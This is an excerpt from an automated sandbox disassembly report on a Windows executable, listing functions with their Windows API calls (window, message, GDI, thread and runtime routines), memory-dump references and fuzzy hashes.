Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: 1541D721B19E0291FA31BF26A800975EF99FF447E4FA98535DD1D4B358EE3CE4128314

Function 00007FF7978DFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7978DFFE7
EnableWindow.USER32 ref: 00007FF7978E0012
ShowWindow.USER32 ref: 00007FF7978E007C
ShowWindow.USER32 ref: 00007FF7978E0098
EnableWindow.USER32 ref: 00007FF7978E00C6

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: 7b1a324bc3c797ad2cef2d534c40479af2ebf6dcc7ddf8e29c066732655267d0
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: 63513E2291978681EB71FB29D494A78BBA0EF84BD4FA94431CA4D076A4CF3DE453D720

Function 00007FF79789D924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF79789D8F3), ref: 00007FF79789D952
PostMessageW.USER32 ref: 00007FF79789D9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF79789D8F3), ref: 00007FF79789D9FA
PostMessageW.USER32 ref: 00007FF79789DA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF79789D8F3), ref: 00007FF79789DA15

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: eede7ce4c4e84a454966b5ad3a71d2882c358ebf9f1b03269eaebc827b2ba57d
Instruction ID: 999e4162fe0798978ec84af026c1415958de6d78caa0a14748e572f52f24618f
Opcode Fuzzy Hash: eede7ce4c4e84a454966b5ad3a71d2882c358ebf9f1b03269eaebc827b2ba57d
Instruction Fuzzy Hash: 3431D73660864547E720EF39E848A69B791FB88BE8F800235EE5D87795CE3CF8528714

Function 00007FF7978B3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00007FF7978B3889
TranslateAcceleratorW.USER32 ref: 00007FF7978B38E9
TranslateMessage.USER32 ref: 00007FF7978B3916
DispatchMessageW.USER32 ref: 00007FF7978B3921
PeekMessageW.USER32 ref: 00007FF7978B3938

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction ID: 041ba7857383c29f45a1c4275401046349c27415e470847413dcab7d4c22f5af
Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction Fuzzy Hash: EB416F21D0D68386FB70BB389848BB9AF90EF41BD4FD80136D54D469A5CF2CE4578721

Function 00007FF7978A1B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF7978A1B6A
SendMessageW.USER32 ref: 00007FF7978A1B93
SendMessageW.USER32 ref: 00007FF7978A1BD8
CharUpperBuffW.USER32 ref: 00007FF7978A1BFC
wcsstr.LIBVCRUNTIME ref: 00007FF7978A1C09

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: ffa12279a6d5d294ec943fc537edc99c80ddfe1fbe564970008d60d8cc28f79c
Instruction ID: 2a699b259ea21166830f0138a7d373626eed3750f82a0684fa18b3de7f35d283
Opcode Fuzzy Hash: ffa12279a6d5d294ec943fc537edc99c80ddfe1fbe564970008d60d8cc28f79c
Instruction Fuzzy Hash: 7421C922B0978245EB24EB329915679AAA0FF89FE0FC44570EE5D47795DE3CD462C310

Function 00007FF797832370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF7978323FF
SelectObject.GDI32 ref: 00007FF797832412
BeginPath.GDI32 ref: 00007FF79783242B
SelectObject.GDI32 ref: 00007FF797832452

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: 0c790b8fbbd764c92bd1467b77829783c9100e4c77f52c6e5fae46878118a144
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: E3315E31A187469AF760BB29A840739FBA0FB847E0F950135D94D47754CF7CE4A28B20

Function 00007FF797861F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797861F68
CreateThread.KERNEL32 ref: 00007FF797861FA9
GetLastError.KERNEL32 ref: 00007FF797861FB7
CloseHandle.KERNEL32 ref: 00007FF797861FD4
FreeLibrary.KERNEL32 ref: 00007FF797861FE3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: 54448df4e98ab108529528e5ff752aed02b0a9933f8f7c6669797595b0d2363d
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: 73215325E09F82A5EE24FB75941497DEB90AF84BD4F848531EA4D43755DF3CE4228620

Function 00007FF79786F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF79786F9FB
_set_statfp.LIBCMT ref: 00007FF79786FA16
_set_statfp.LIBCMT ref: 00007FF79786FA32
_set_statfp.LIBCMT ref: 00007FF79786FA6E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: 98c635a826f4c5cef916f62a8d730c98c46f2b9d05cf7923708c2f6ca166c089
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: 0311E326E1CE0325F674313AE442B759C427F453F9F89E630EA6E466DACE1CE8638120

Function 00007FF797855244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF79785525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF797855274
_RTC_Initialize.LIBCMT ref: 00007FF79785527D

Part of subcall function 00007FF797854F0C: _onexit.LIBCMT ref: 00007FF797854F10

Part of subcall function 00007FF79786A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79786A0C6

__scrt_fastfail.LIBCMT ref: 00007FF7978552F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF797855300

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: 83887cbb41ea5fe8987ae0fe1f239f63221f5b34f465ce4b38ed36c05d8482f1
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: BA118A00E0C54765FA3873B15457ABCAE924F843C1FC444B8E91E9A2C7EE1CB8B74232

Function 00007FF79789B748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00007FF79789B771
ProgIDFromCLSID.OLE32 ref: 00007FF79789B790
lstrcmpiW.KERNEL32 ref: 00007FF79789B7A2
CoTaskMemFree.OLE32 ref: 00007FF79789B7B4
CLSIDFromString.OLE32 ref: 00007FF79789B7C2

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction ID: a584e101fe6009732155c7c10009329bcc3aea001e0f907f8b649a9fc29d9bd8
Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction Fuzzy Hash: 61113065708A51C7E720AB36E840729ABA4FF85BC0F984134DE4D47758DF3DE8528710

Function 00007FF7978AD7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF7978AD811
QueryPerformanceFrequency.KERNEL32 ref: 00007FF7978AD820
Sleep.KERNEL32 ref: 00007FF7978AD828
QueryPerformanceCounter.KERNEL32 ref: 00007FF7978AD833
Sleep.KERNEL32 ref: 00007FF7978AD86E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction ID: da841de7de33007b4b37a81c5938300965dc1f2681bb6bd4bf67a86cd2bfab8b
Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction Fuzzy Hash: E001D420A08A0282EB29BB31A895939EB60BF957C0BD40635E11FD1564DF2CE4E6C630

Function 00007FF7978B0008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF7978929AD,?,?,?,00007FF797842AB2), ref: 00007FF7978B003C
TerminateThread.KERNEL32(?,?,?,00007FF7978929AD,?,?,?,00007FF797842AB2), ref: 00007FF7978B0047
WaitForSingleObject.KERNEL32(?,?,?,00007FF7978929AD,?,?,?,00007FF797842AB2), ref: 00007FF7978B0055
~SyncLockT.VCCORLIB ref: 00007FF7978B005E

Part of subcall function 00007FF7978AF7B8: CloseHandle.KERNEL32(?,?,?,00007FF7978B0063,?,?,?,00007FF7978929AD,?,?,?,00007FF797842AB2), ref: 00007FF7978AF7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF7978929AD,?,?,?,00007FF797842AB2), ref: 00007FF7978B006A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: 0cbd01de32cd993e2acf78ff629f25681eb4a0e9e78a1156cb62490dfee0db15
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 42014C3AA18B4196E720AF25E440629B760FB98B90F504031DB8E43B65CF3CD4A3C750

Function 00007FF797861DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79786B80C: GetLastError.KERNEL32 ref: 00007FF79786B81B
Part of subcall function 00007FF79786B80C: SetLastError.KERNEL32 ref: 00007FF79786B885

ExitThread.KERNEL32 ref: 00007FF797861DB8
ExitThread.KERNEL32 ref: 00007FF797861DCD

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: 0eb8a590302469e360aaae24e5caa4fe42eaf9f3e07b5e8732c047f285afd2cd
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: D2014411F08A42A2EA247B30984853CAA61FF40BF5FD09735C63E026D6DF3CE9768310

Function 00007FF7978322E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00007FF797832304
StrokeAndFillPath.GDI32 ref: 00007FF79783231C
SelectObject.GDI32 ref: 00007FF797832331
DeleteObject.GDI32 ref: 00007FF797832346
StrokePath.GDI32 ref: 00007FF797832366

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction ID: 241eadc142b748e59db758c063a7313488efabe11e842d68b8c2823f2d779d6c
Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction Fuzzy Hash: A2012121E0C64BA5F7757B39ED94738AB61FF45BE4F994130C52D066A0CF7DA0A68320

Function 00007FF7978AB5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF7978AB5F0
GetCurrentThreadId.KERNEL32 ref: 00007FF7978AB5F8
GetWindowThreadProcessId.USER32 ref: 00007FF7978AB608
GetCurrentThreadId.KERNEL32 ref: 00007FF7978AB610
AttachThreadInput.USER32 ref: 00007FF7978AB61D

Part of subcall function 00007FF7978ACF30: SendMessageTimeoutW.USER32 ref: 00007FF7978ACF56

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction ID: c814551008f660ab953b9018e0a0783780ee64529b9e49d6f27034888b1f584f
Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction Fuzzy Hash: CAF06D10F1860242FB783BB27C58E789A567F487D1FC45030C90A47295EE7DA4FB8670

Function 00007FF7978A03F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF7978A0414
GetCurrentThreadId.KERNEL32 ref: 00007FF7978A041C
GetWindowThreadProcessId.USER32 ref: 00007FF7978A042C
GetCurrentThreadId.KERNEL32 ref: 00007FF7978A0434
AttachThreadInput.USER32(?,?,?,00007FF79789E921), ref: 00007FF7978A0441

Part of subcall function 00007FF7978A07A4: SendMessageTimeoutW.USER32 ref: 00007FF7978A07CA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction ID: 66f4bacd254e9ea1d6598d91dca1a5274e566eeec2d9dc7bde3a8305f0e5e828
Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction Fuzzy Hash: 70F03010F2861282FB3837B56C58A749B517F887D5FC45030C80E46251EE3D94B78670

Function 00007FF797870040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7978702E4

Strings

ccs, xrefs: 00007FF797870229
UTF-16LEUNICODE, xrefs: 00007FF79787028B
UTF-8, xrefs: 00007FF797870268

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 77144706097a283061aa6841737fd5fc45152d0aa2c4d7c8d9b1e627f9bd4a8a
Instruction ID: b56aa2e5a9be15770af9b9ff3d2eca9a6929e1c0deaa4b82afc9c9b20d330626
Opcode Fuzzy Hash: 77144706097a283061aa6841737fd5fc45152d0aa2c4d7c8d9b1e627f9bd4a8a
Instruction Fuzzy Hash: 8581A072E2C20285FF756F359540A79AEA0AF117C4FD48035DA0F5B790EB6CA8B2D231

Function 00007FF79785B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785B211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79785B3EE

Strings

*, xrefs: 00007FF79785B322
, xrefs: 00007FF79785B377

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: db61ebb86adcfd651309e33ba306c402ee314aa11931134a2a7a81ecab3a0501
Instruction ID: 5e601f4f37d104527f3ac6c0435aebaa25d6ee12c17f5c3f39fabca2efc5bc24
Opcode Fuzzy Hash: db61ebb86adcfd651309e33ba306c402ee314aa11931134a2a7a81ecab3a0501
